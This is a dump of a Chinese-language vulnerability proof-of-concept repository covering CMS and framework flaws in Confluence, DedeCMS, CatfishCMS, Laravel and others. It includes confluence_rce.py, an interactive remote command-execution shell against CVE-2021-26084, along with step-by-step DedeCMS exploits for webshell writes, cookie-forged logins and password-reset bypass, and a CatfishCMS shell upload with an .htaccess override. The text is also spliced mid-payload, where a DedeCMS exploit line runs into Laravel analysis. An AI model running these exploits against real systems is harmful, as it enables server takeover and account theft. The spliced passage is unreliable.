├── .gitignore ├── CatfishCMS └── CatfishCMS文件上传漏洞(CNVD-2021-42363).md ├── Confluence └── CVE-2021-26084 Confluence OGNL注入 │ ├── README.md │ ├── confluence_rce.py │ └── images01.png ├── DedeCMS ├── DedeCMS V5.7 SP2 前台文件上传漏洞(CVE-2018-20129).md ├── DedeCMS V5.7 SP2任意用户登录.md ├── DedeCMS V5.7 SP2后台代码执行漏洞复现.md ├── DedeCMS V5.7 前台任意用户密码修改漏洞.md ├── DedeCMS V5.7 后台代码执行漏洞(CVE-2018-7700).md └── DedeCMS 后台地址泄露漏洞.md ├── Django ├── Django核心SQL注入(CVE-2019-14234).md ├── Django核心SQL注入(CVE-2020-7471) │ ├── CVE-2020-7471 │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ ├── docker-entrypoint.sh │ │ └── src │ │ │ ├── collection.json │ │ │ ├── cve201914234 │ │ │ ├── __init__.py │ │ │ ├── settings.py │ │ │ ├── urls.py │ │ │ └── wsgi.py │ │ │ ├── manage.py │ │ │ └── vuln │ │ │ ├── __init__.py │ │ │ ├── admin.py │ │ │ ├── apps.py │ │ │ ├── migrations │ │ │ ├── 0001_initial.py │ │ │ └── __init__.py │ │ │ ├── models.py │ │ │ └── views.py │ └── Django核心SQL注入(CVE-2020-7471).md ├── Django核心SQL注入(CVE-2020-9402).md ├── Django核心SQL注入(CVE-2021-35042).md ├── Django核心SQL注入(CVE-2022-28346) │ ├── CVE-2022-28346 │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ ├── docker-entrypoint.sh │ │ └── src │ │ │ ├── collection.json │ │ │ ├── cve201914234 │ │ │ ├── __init__.py │ │ │ ├── settings.py │ │ │ ├── urls.py │ │ │ └── wsgi.py │ │ │ ├── manage.py │ │ │ └── vuln │ │ │ ├── __init__.py │ │ │ ├── admin.py │ │ │ ├── apps.py │ │ │ ├── migrations │ │ │ ├── 0001_initial.py │ │ │ └── __init__.py │ │ │ ├── models.py │ │ │ └── views.py │ └── Django核心SQL注入(CVE-2022-28346).md ├── Django核心SQL注入(CVE-2022-28347) │ ├── CVE-2022-28347 │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ ├── docker-entrypoint.sh │ │ └── src │ │ │ ├── collection.json │ │ │ ├── cve201914234 │ │ │ ├── __init__.py │ │ │ ├── settings.py │ │ │ ├── urls.py │ │ │ └── wsgi.py │ │ │ ├── manage.py │ │ │ └── vuln │ │ │ ├── __init__.py │ │ │ ├── admin.py │ │ │ ├── apps.py │ │ │ ├── migrations │ │ │ ├── 0001_initial.py │ │ │ └── __init__.py │ │ │ ├── models.py │ │ │ └── views.py │ └── Django核心SQL注入(CVE-2022-28347).md ├── Django核心SQL注入(CVE-2022-34265).md ├── 细数Django框架核心历史SQL注入漏洞(上).md └── 细数Django框架核心历史SQL注入漏洞(下).md ├── Grafana └── CVE-2021-43798 Unauth readfile in Grafana │ └── README.md ├── Laravel └── Laravel三处全版本RCE链分析.md ├── Moodle └── CVE-2021-36394 Pre-Auth RCE in Moodle │ ├── README.md │ ├── docker-compose.yml │ ├── moodle_rce.py │ └── moodle_unserialize_rce.php ├── Piwigo ├── Piwigo_12.2.0_SQL注入_CVE-2022-26266.md ├── Piwigo_12.2.0_SQL注入_CVE-2022-26266 │ ├── image-20221117220404252.png │ ├── image-20221117220555569.png │ ├── image-20221117220751998.png │ ├── image-20221117221711630.png │ ├── image-20221117223943995.png │ ├── image-20221117224118489.png │ └── image-20221117224722221.png ├── Piwigo_12.2.0_SQL注入_CVE-2022-32297.md └── Piwigo_12.2.0_SQL注入_CVE-2022-32297 │ ├── image-20221117233046830.png │ ├── image-20221117233335010.png │ ├── image-20221117233902452.png │ ├── image-20221117234121204.png │ ├── image-20221118231419112.png │ ├── image-20221121204114680.png │ ├── image-20221121204231387.png │ ├── image-20221121204308272.png │ ├── image-20221121204807619.png │ ├── image-20221121215142137.png │ ├── image-20221121215634944.png │ ├── image-20221121215728409.png │ └── image-20221121220108758.png ├── README.md ├── WeiPHP ├── WeiPHP5.0 SQL注入漏洞1.md ├── WeiPHP5.0 SQL注入漏洞2.md ├── WeiPHP5.0 任意用户Cookie伪造.md ├── WeiPHP5.0 前台任意文件上传漏洞.md └── WeiPHP5.0 前台任意文件读取.md ├── WordPress ├── CVE-2022-21661 WordPress 5.8.3 SQL注入漏洞.md └── CVE-2022-21663 WordPress 5.8.3 对象注入漏洞.md ├── XunRuiCMS └── XunRuiCMS Unauth RCE │ ├── README.md │ ├── XunRuiCMS 前台RCE漏洞.md │ └── xunrui_cms_unauth_RCE.py ├── YouDianCMS └── YouDian CMS Auth Bypass and RCE │ ├── README.md │ └── youdian_auth_bypass_and_rce.py ├── template.md └── 极致CMS ├── 极致CMS1.7 前台SQL注入(CNVD-2021-26000) └── 极致CMS1.7 前台SQL注入(CNVD-2021-26000).md └── 极致CMS1.7 另一处前台SQL注入 └── 极致CMS1.7 另一处前台SQL注入.md /.gitignore: -------------------------------------------------------------------------------- 1 | *_poc.py 2 | *.yaml 3 | _* -------------------------------------------------------------------------------- /CatfishCMS/CatfishCMS文件上传漏洞(CNVD-2021-42363).md: -------------------------------------------------------------------------------- 1 | # CatfishCMS文件上传漏洞(CNVD-2021-42363) 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 漏洞描述 6 | 逛 `cnvd` 的时候看到 `catfish cms` 的文件上传漏洞,于是审了审,就发现了这两处文件上传,具体是不是该漏洞,还有待考证。 7 | 8 | ### CNVD编号 9 | 10 | CNVD-2021-42363 11 | 12 | ### 影响范围 13 | 14 | 文中标的是 `Catfish CMS V5.9.6` ,但这里这个我看了下,最新能下载到的 `v5.9.12` 也受到影响 15 | 16 | ## 漏洞复现 17 | 18 | 有两个漏洞,不过都需要登陆后台,而且类型都差不多,不过利用方式可以有些区别 19 | 20 | #### 上传主题 getshell 21 | 22 | ``` 23 | 后台 -> 系统设置 -> 主题 -> 主题上传 24 | ``` 25 | 26 | 我们去看看主题的位置 27 | 28 | ``` 29 | CatfishCMS-5.9.6\public 30 | ``` 31 | 32 | 可以看到这里已经有了几个主题,再加上明确有说是上传 `zip`,因此随便复制一个文件夹出来,将我们的马写进去,然后打包成 `zip` 上传就可以 `getshell` 33 | 34 | ``` 35 | http://www.xxxxx.com/public/blogs/bat.php 36 | ``` 37 | 38 | #### 上传插件 getshell 39 | 40 | 这个和之前那个几乎是一模一样的 41 | 42 | ``` 43 | 扩展功能 -> 插件 -> 插件上传 44 | ``` 45 | 46 | 插件位置 47 | 48 | ``` 49 | CatfishCMS-5.9.6\application\plugins 50 | ``` 51 | 52 | 这里有一个 `announcement` ,复制出来,在里面加一个马,打包 `zip` 上传,插件处不一定显示,有可能是因为内容都一样的原因,不过确实传上去了,但是我们想要像主题一样直接 `getshell` 是不行的,访问 53 | 54 | ``` 55 | http://www.xxxxxxxxxxx.com/application/plugins/annn/shell.php 56 | ``` 57 | 58 | ![](https://img-blog.csdnimg.cn/img_convert/07275e6ad90e2cc68f1446e52344aa0f.png) 59 | 60 | 我们发现是无法直接访问的,究其原因,原来是 `.htaccess` 在作怪,`.htaccess` ,分布式配置文件,可以针对目录改变配置,我们可以在 `application` 文件夹下面发现他,看看里面的内容 61 | 62 | ``` 63 | deny from all 64 | ``` 65 | 66 | 也就是 `application` 文件夹,包括其子目录拒绝一切访问,这才想起来,他是一个 `thinkphp` 程序,不让直接访问 `application` 就是正常的操作,想想怎么绕过这个限制呢,在子文件夹中的 `.htaccess` 优先级是更高的,因此我们同时上传一个 `.htaccess` ,内容 67 | 68 | ``` 69 | allow from all 70 | ``` 71 | 72 | 这样就可以直接访问到了,至此, `getshell` 成功 73 | 74 | ## 总结 75 | 76 | 这里我并没有分析其漏洞代码,造成漏洞的主要原因是允许压缩包内的任意文件上传,这也是开发人员常常忽略的点,只注意上传的文件,而没有在意之后解压出来的文件,从而导致了漏洞,此外 `.htaccess` 这一手确实挺有意思的,作用很大,当然,其实也可以 `user.ini` 77 | 78 | 79 | 80 | ## 参考链接 81 | 82 | - https://www.cnvd.org.cn/flaw/show/CNVD-2021-42363 83 | 84 | `github` 链接:`https://github.com/d5shenwu/vulPOC` 85 | 86 | -------------------------------------------------------------------------------- /Confluence/CVE-2021-26084 Confluence OGNL注入/README.md: -------------------------------------------------------------------------------- 1 | ## CVE-2021-26084 Confluence OGNL注入 2 | 3 | ### 漏洞简介 4 | 5 | `Confluence` 是`Atlassian` 公司出品的专业`wiki` 程序。它可以作为一个知识管理的工具,通过它能够实现团队成员之间的协作和知识共享。 6 | 7 | `Confluence Server Webwork OGNL` 注入漏洞(CVE-2021-26084),远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下,可构造`OGNL` 表达式进行注入,实现在 `Confluence Server` 或`Data Center` 上执行任意代码。 8 | 9 | ### 漏洞利用 10 | 11 | ``` 12 | python3 confluence_rce.py http://example.com 13 | ``` 14 | 15 | ![image-20211031233738797](./images01.png) -------------------------------------------------------------------------------- /Confluence/CVE-2021-26084 Confluence OGNL注入/confluence_rce.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from bs4 import BeautifulSoup 3 | import sys 4 | 5 | requests.packages.urllib3.disable_warnings() 6 | session = requests.Session() 7 | url = sys.argv[1] 8 | url = requests.get(url).url 9 | url = url.split("login.action")[0] 10 | url = url + 'pages/createpage-entervariables.action?SpaceKey=x' 11 | 12 | while True: 13 | cmd = input('> ') 14 | headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Accept-Encoding": "gzip, deflate"} 15 | data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"} 16 | rawHTML = session.post(url, headers=headers, data=data, verify=False) 17 | 18 | soup = BeautifulSoup(rawHTML.text, 'html.parser') 19 | queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value'] 20 | print(queryStringValue.replace("aaaaaaaa[", "").replace("]","")) 21 | -------------------------------------------------------------------------------- /Confluence/CVE-2021-26084 Confluence OGNL注入/images01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Confluence/CVE-2021-26084 Confluence OGNL注入/images01.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS V5.7 SP2 前台文件上传漏洞(CVE-2018-20129).md: -------------------------------------------------------------------------------- 1 | # DedeCMS V5.7 SP2 前台文件上传漏洞(CVE-2018-20129) 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 漏洞描述 6 | 7 | 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统。Dedecms V5.7 SP2版本中正常用户登录后,前台发表文章可上传绕过 `getshell` 8 | 9 | ## 漏洞影响 10 | 11 | DedeCMS V5.7 SP2 12 | 13 | ## 漏洞复现 14 | 15 | 首先需要有一个用户,注册一个即可,然后需要管理员审核通过,不然不能发表文章,变成正常用户后可以发表文章 16 | 17 | ```plain 18 | 内容用户 -> 发表文章 19 | ``` 20 | 21 | 详细内容中的富文本编辑器上传图片,`burp` 抓包后修改如图 22 | 23 | ![img](https://gitee.com/d5shenwu/nopic/raw/master/img/20210702211118.png) 24 | 25 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1650464334265-140d8963-018f-40bb-ac27-8eb51f0be525.png) 26 | 27 | ## 总结 28 | 29 | 这里成功利用的前提是要有一个可以发表文章的用户,看起来分析很短,但是不得不说,这个漏洞非常的巧妙,多个巧合才有了这个漏洞。 30 | 31 | ## 参考 32 | 33 | - `https://wiki.bylibrary.cn/漏洞库/01-CMS漏洞/DedeCMS/Dedecms前台文件上传漏洞CVE-2018-20129/` 34 | 35 | 36 | 37 | `github` 链接:`https://github.com/d5shenwu/vulPOC` 38 | 39 | -------------------------------------------------------------------------------- /DedeCMS/DedeCMS V5.7 SP2任意用户登录.md: -------------------------------------------------------------------------------- 1 | # DedeCMS V5.7 SP2任意用户登录 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 漏洞描述 6 | 7 | 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统。dedecms 的会员模块的身份认证使用的是客户端 session,在 Cookie 中写入用户 ID 并且附上 `ID__ckMd5`,用做签名。主页存在逻辑漏洞,导致可以返回指定 uid 的 ID 的 Md5 散列值,可以伪造任意用户登录,并可以因此修改管理员密码。 8 | 9 | ## 漏洞影响 10 | 11 | DedeCMS V5.7 SP2 12 | 13 | ## 漏洞复现 14 | 15 | 首先需要有一个用户,注册一个即可,但是注册的用户名不能随便,对应了想要登录用户的 `id` ,然后需要管理员审核通过,不然没法访问空间,无法进行攻击 16 | 17 | 比如这里,我注册的用户名是 `0000001` ,对应的是 `admin` 的 `id` ,登陆后访问链接并抓包 18 | 19 | ```plain 20 | http://www.dedecms521.com/member/index.php?uid=0000001 21 | ``` 22 | 23 | 这里需要注意,要把 `cookie` 中的带 `last_` 的部分删掉,不然不会生成新的 `cookie` ,参数 `uid` 对应的是这个用户名 24 | 25 | ![img](https://gitee.com/d5shenwu/nopic/raw/master/img/20210704180301.png) 26 | 27 | 将 `cookie` 中的 `DedeUserID` 设置为这里得到的 `cookie` 中的 `last_vid` ,`DedeUserID__ckMd5` 设置为这里得到的 `cookie` 中的 `last_vid`,再访问链接,即可发现成功访问到了另外的用户,这里是 `admin` 28 | 29 | ```plain 30 | http://www.dedecms521.com/member/index.php 31 | ``` 32 | 33 | ![img](https://gitee.com/d5shenwu/nopic/raw/master/img/image-20210704180648323.png) 34 | 35 | ## 总结 36 | 37 | 这个漏洞的主要是伪造 `cookie` ,这里的 `cookie` 存在验证,可以利用另外会被设置成 `cookie` 的值来伪造,最后使用到 `intval` ,由于用户名最少需要 3 位,所以伪造的时候只能伪造成 `0001` 等形式,巧妙使用 `intval` 来还原了这个数值,虽然只能伪造到 `member` 表中的 `admin` ,但是结合之前的漏洞可以实现进入后台(存在一定限制,需要管理员关闭注册详细信息)。 38 | 39 | ## 参考链接 40 | 41 | - https://wiki.bylibrary.cn/漏洞库/01-CMS漏洞/DedeCMS/Dedecms任意用户登录SSV-97087/ 42 | 43 | - https://www.seebug.org/vuldb/ssvid-97087 44 | 45 | 46 | 47 | `github` 链接:`https://github.com/d5shenwu/vulPOC` 48 | 49 | -------------------------------------------------------------------------------- /DedeCMS/DedeCMS V5.7 SP2后台代码执行漏洞复现.md: -------------------------------------------------------------------------------- 1 | # DedeCMS V5.7 SP2后台代码执行漏洞复现 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 漏洞描述 6 | 7 | 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统。Dedecms V5.7 SP2版本中的 tpl.php 中存在代码执行漏洞,可以通过该漏洞在增加新标签中上传木马,获取webshell。该漏洞利用需要登录后台,并且后台的账户权限是管理员权限。 8 | 9 | ## 漏洞影响 10 | 11 | DedeCMS V5.7 SP2 12 | 13 | ## 漏洞复现 14 | 15 | 此漏洞位于后台,因此我们需要先登录到后台 16 | 17 | 默认后台地址 dede/ ,先按照网上已有的文章复现 18 | 19 | 先获取 token 20 | 21 | ```plain 22 | http://www.dedecms521.com/dede/tpl.php?action=upload 23 | ``` 24 | 25 | 得到 token 26 | 27 | ```plain 28 | 33980963afa91dcc6c2f1efceefc87b0 29 | ``` 30 | 31 | 然后访问 32 | 33 | ```plain 34 | http://www.dedecms521.com/dede/tpl.php?filename=secnote.lib.php&action=savetagfile&content=&token=33980963afa91dcc6c2f1efceefc87b0 35 | ``` 36 | 37 | 这时就已经写入了 webshell 38 | 39 | ```plain 40 | http://www.dedecms521.com/include/taglib/secnote.lib.php 41 | ``` 42 | 43 | ![img](https://gitee.com/d5shenwu/nopic/raw/master/img/image-20210626220121525.png) 44 | 45 | ## 总结 46 | 47 | 其实这个漏洞只是 dede 提供的一个文件管理的功能,但是被利用了,基本上只要进到后台,利用这个还是很容易getshell的。 48 | 49 | 该过程实际上就是 50 | 51 | ```plain 52 | 模板 -> 标签源码管理 -> 增加一个新的标签 53 | ``` 54 | 55 | 然后填入自己的代码 56 | 57 | ```php 58 | 59 | ``` 60 | 61 | ## 参考链接 62 | 63 | - `https://wiki.bylibrary.cn/漏洞库/01-CMS漏洞/DedeCMS/DedeCMS V5.7 SP2后台存在代码执行漏洞/` 64 | 65 | 66 | 67 | `github` 链接:`https://github.com/d5shenwu/vulPOC` 68 | 69 | -------------------------------------------------------------------------------- /DedeCMS/DedeCMS V5.7 前台任意用户密码修改漏洞.md: -------------------------------------------------------------------------------- 1 | # DedeCMS V5.7 前台任意用户密码修改漏洞 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 漏洞描述 6 | 7 | 织梦内容管理系统 (`Dedecms`)是一款 `PHP` 开源网站管理系统。在用户密码重置功能处,`php` 存在弱类型比较,如果用户没有设置密保问题,那么可以绕过验证密保问题,直接修改密码(管理员账户默认不设置密保问题)。值得注意的是修改的密码是 `member` 表中的密码,即使修改了管理员密码也是 `member` 表中的管理员密码,仍是无法进入管理。 8 | 9 | ## 漏洞影响 10 | 11 | `DedeCMS V5.7 SP2` 12 | 13 | 开启会员功能 14 | 15 | ## 漏洞复现 16 | 17 | 需要管理员开启会员功能,开启流程为 18 | 19 | ```plain 20 | 系统 -> 系统基本参数 -> 会员设置 21 | ``` 22 | 23 | 然后进入找回密码,选择 “通过安全问题找回”,填写正确的用户名与邮箱 24 | 25 | 没有密码问题的用户,会得到这样的提示 26 | 27 | ![img](https://img-blog.csdnimg.cn/img_convert/64261d51d635fdc7b88c8f809d2d0e62.png) 28 | 29 | 不要紧,重来并用burp 抓包,更改 post 数据 30 | 31 | 原本的 post 数据 32 | 33 | ```plain 34 | dopost=getpwd&gourl=&userid=ada&mail=123456%40admin.com&vdcode=vogr&type=1 35 | ``` 36 | 37 | 更改后的 post 数据 38 | 39 | ```plain 40 | dopost=safequestion&id=2&safequestion=00&safeanswer=0 41 | ``` 42 | 43 | id 为 想要更改的用户账号 id,发包即可 44 | 45 | ![img](https://img-blog.csdnimg.cn/img_convert/da714103f3932d9b046d9d93f455c41a.png) 46 | 47 | 48 | 49 | 访问得到的链接,就可以修改密码,这里要注意,一定要使用 `burp`获取链接,不要直接改包后 `forward` 50 | 51 | ## 总结 52 | 53 | 这个漏洞只需要存在没有设置密保问题的用户就行,直接 `post id` 就可以,用户名会直接在修改密码中取出来,还是比较好的,唯一的缺点就是只能更改 `member` 中的 `admin` 账户密码,没法利用这个登陆到后台 54 | 55 | ## 参考链接 56 | 57 | - `https://wiki.bylibrary.cn/漏洞库/01-CMS漏洞/DedeCMS/Dedecms 前台任意用户密码修改/` 58 | 59 | `github` 链接:`https://github.com/d5shenwu/vulPOC` 60 | 61 | 62 | 63 | -------------------------------------------------------------------------------- /DedeCMS/DedeCMS V5.7 后台代码执行漏洞(CVE-2018-7700).md: -------------------------------------------------------------------------------- 1 | # DedeCMS V5.7 后台代码执行漏洞(CVE-2018-7700) 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 漏洞描述 6 | 7 | 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统。该漏洞的触发文件为 /dede/tag_test_action.php。起因是 csrf_check() 函数的绕过,导致登陆后。可执行任意代码。 8 | 9 | ## CVE编号 10 | 11 | CVE-2018-7700 12 | 13 | ## 漏洞影响 14 | 15 | DedeCMS V5.7 16 | 17 | DedeCMS V5.7 SP2 18 | 19 | ## 漏洞复现 20 | 21 | 测试版本为 5.7 SP2,描述中的 csrf_check 没有去验证,据说是因为登陆的时候不会生成 `$_SESSION['token']` ,因此登陆之后直接将 token 置空即可绕过,但我这里并没有觉得需要绕过这里,登陆后可以直接从其他地方获取 token ,这里主要关注代码执行漏洞。 22 | 23 | 还是一样,先获取一个 token 24 | 25 | ```plain 26 | http://www.dedecms521.com/dede/tpl.php?action=upload 27 | ``` 28 | 29 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1650290581323-396cd58f-d586-43e5-bde0-48a4eae5f0ea.png) 30 | 31 | 然后就可以代码执行 32 | 33 | ```plain 34 | http://www.dedecms521.com/dede/tag_test_action.php?token=05e0a0ab271dd01fd277c139a02940b6&partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field} 35 | ``` 36 | 37 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1650290688835-9e5cc28c-e530-4ae1-9496-b74ec2c8fd5c.png) 38 | 39 | 40 | 41 | ## 总结 42 | 43 | 其实这个漏洞只是 dede 提供的一个标签代码测试的功能,但是被利用了,基本上只要进到后台,利用这个还是很容易getshell的,有关于 dede 的标签的构造的内容,很多都省去了,但对阅读应该没有太大的问题 44 | 45 | 该过程实际上就是 46 | 47 | ```plain 48 | 模板 -> 全局标记测试 49 | ``` 50 | 51 | 然后填入自己的代码 52 | 53 | ```php 54 | {dede:field name='source' runphp='yes'}phpinfo();{/dede:field} 55 | ``` 56 | 57 | 这个 CVE 最着重的地方是这个 token 的绕过,但是不是只要是进入了后台,很容易就可以获取到 token 么,那这个 token 的绕过就没有太大必要了 58 | 59 | ## 参考 60 | 61 | - `https://wiki.bylibrary.cn/漏洞库/01-CMS漏洞/DedeCMS/Dedecms V5.7后台任意代码执行CVE-2018-7700/` 62 | 63 | 64 | 65 | `github` 链接:`https://github.com/d5shenwu/vulPOC` 66 | 67 | 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /DedeCMS/DedeCMS 后台地址泄露漏洞.md: -------------------------------------------------------------------------------- 1 | # DedeCMS 后台地址泄露漏洞 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 漏洞描述 6 | 7 | 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统。dedecms 默认后台地址为 /dede,但很多时候可能会被管理员更改,这时,我们就需要先找到后台地址,本漏洞可以泄露出 dedecms 的后台。 8 | 9 | ## 漏洞影响 10 | 11 | 仅针对windows系统(这是因为 < 通配符只在 windows 生效),猜测影响全版本 12 | 13 | 测试版本 DedeCMS V5.7 SP2 14 | 15 | ## 漏洞分析 16 | 17 | ### 代码分析 18 | 19 | 问题出在 include/common.inc.php 的 148 行 20 | 21 | ```php 22 | if($_FILES) 23 | { 24 | require_once(DEDEINC.'/uploadsafe.inc.php'); 25 | } 26 | ``` 27 | 28 | 上传文件时会请求 include/uploadsafe.inc.php 29 | 30 | ```php 31 | ... 32 | $keyarr = array('name', 'type', 'tmp_name', 'size'); 33 | ... 34 | foreach($_FILES as $_key=>$_value) 35 | { 36 | foreach($keyarr as $k) 37 | { 38 | if(!isset($_FILES[$_key][$k])) 39 | { 40 | exit('Request Error!'); 41 | } 42 | } 43 | if( preg_match('#^(cfg_|GLOBALS)#', $_key) ) 44 | { 45 | exit('Request var not allow for uploadsafe!'); 46 | } 47 | $$_key = $_FILES[$_key]['tmp_name']; 48 | ${$_key.'_name'} = $_FILES[$_key]['name']; 49 | ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']); 50 | ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']); 51 | if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ) 52 | { 53 | if(!defined('DEDEADMIN')) 54 | { 55 | exit('Not Admin Upload filetype not allow !'); 56 | } 57 | } 58 | if(empty(${$_key.'_size'})) 59 | { 60 | ${$_key.'_size'} = @filesize($$_key); 61 | } 62 | 63 | $imtypes = array 64 | ( 65 | "image/pjpeg", "image/jpeg", "image/gif", "image/png", 66 | "image/xpng", "image/wbmp", "image/bmp" 67 | ); 68 | 69 | if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) 70 | { 71 | $image_dd = @getimagesize($$_key); 72 | //问题就出在此处,获取不到就会报错退出 73 | if (!is_array($image_dd)) 74 | { 75 | exit('Upload filetype not allow !'); 76 | } 77 | } 78 | } 79 | ``` 80 | 81 | 首先会解析 `$_FILES` 的值,需要满足 `$_FILES[$key]` 一定要存在数组 `$keyarr` 中的这些键 82 | 83 | 然后就是不允许 `$key` 等于 cfg_ 或者 GLOBALS,这里防止了一部分的变量覆盖,因为之后就会 `$$key` 84 | 85 | 接下来就是一些取值,比较简单,然后给了一个文件类型的白名单,必须满足是这些类型,最后来到出问题的位置,获取图片的大小,获取不到就报错,这里的话,由于 `$_FILES` 的值可控,也就是 `$$key` 的值可控,既然文件名可控,那么我们就可以利用这里判断是不是存在某文件,再利用通配符,我们就可以获取到后台的地址 86 | 87 | ### PHP在Windows上的一些奇妙特性 88 | 89 | 这里我们需要了解一下 php 在windows上的一些奇妙特性 [WINDOWS文件通配符分析](https://www.cnblogs.com/wangtanzhi/p/12868197.html) 90 | 91 | ``` 92 | 大于号(>)相等于通配符问号(?) 93 | 小于号(<)相当于通配符星号(*) 94 | 双引号(")相当于点字符(.) 95 | ``` 96 | 97 | 首先我们需要知道我们使用了文件操作函数,然后PHP的文件操作函数均调用了opendir 98 | 99 | `opendir(win32readdir.c)` 使用了 `windows` 的 `FindFirstFile(API)` ,然后在FindFirstFile(API)中进行了如下的定义: 100 | 101 | ``` 102 | // The following constants provide addition meta characters to fully 103 | // support the more obscure aspects of DOS wild card processing. 104 | 105 | #define DOS_STAR (L'<') 106 | #define DOS_QM (L'>') 107 | #define DOS_DOT (L'"') 108 | ``` 109 | 110 | 于是我们的这三个符号在对php文件操作时就有了特殊含义 111 | 112 | 我们的这里使用了 getimagesize 函数,刚好他是文件操作,我们我们可以使用通配符 < 113 | 114 | 很多地方说的都是 < 只通配一个字符,但实际尝试中却是可以通配多个字符 115 | 116 | ### payload 构造 117 | 118 | 只要包含了 include/common.inc.php 的文件就可以被利用,没有其他特殊条件,这里我们可以选取 tags.php 119 | 120 | 在前面的文章中说过,每一个 GET 或者 POST 的参数都会进行如下处理 121 | 122 | ```php 123 | foreach(Array('_GET','_POST','_COOKIE') as $_request) 124 | { 125 | foreach($$_request as $_k => $_v) 126 | { 127 | if($_k == 'nvarname') ${$_k} = $_v; 128 | else ${$_k} = _RunMagicQuotes($_v); 129 | } 130 | } 131 | ``` 132 | 133 | 因此,我们的 `$_FILES` 也可以通过这种形式来获取,POST 一个 `_FILES[a][tmp_name]` 就可以实现 134 | 135 | 这里还有一个简单的绕过 136 | 137 | ```php 138 | if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ) 139 | { 140 | if(!defined('DEDEADMIN')) 141 | { 142 | exit('Not Admin Upload filetype not allow !'); 143 | } 144 | } 145 | ``` 146 | 147 | 我们这里必然是没有定义 DEDEADMIN 的,因此我们需要绕过,最简单的就是 148 | 149 | ```php 150 | $_FILES[a][name]='' 151 | ``` 152 | 153 | 因此我们可以构造 payload 154 | 155 | ``` 156 | _FILES[a][tmp_name]=./deevents` 与 `$this->event` 可控,找某个类的 `dispatch` 方法,这里找到 `src/Illuminate/Bus/Dispatcher.php::dispatch($command)` 48 | 49 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/20220905205855.png) 50 | 51 | `$this->queueResolver` 与 `$command` 可控,我们进入 `$this->commandShouldBeQueued($command)` ,查看代码 52 | 53 | ```php 54 | protected function commandShouldBeQueued($command) 55 | { 56 | return $command instanceof ShouldQueue; 57 | } 58 | ``` 59 | 60 | 因此需要传进来的 `$command` 是 `ShouldQueue` 的实例,而 `ShouldQueue` 是一个接口,因此只要是实现此接口的类的实例即可 61 | 62 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/20220905211326.png) 63 | 64 | 如上的都可以,此处选取 `BroadcastEvent` 类,然后进入 `$this->dispatchToQueue` 方法 65 | 66 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/20220905224039.png) 67 | 68 | `$connection` 为 `$command->connection` ,而 `$command` 是 `BroadcastEvent` 的实例,因此 `$connection` 可通过设置一个 `connection` 值来控制,而 `$this->queueResolver` 也是可控的,因此可以直接命令执行 69 | 70 | ### 反序列化链2 71 | 72 | 开局依旧是 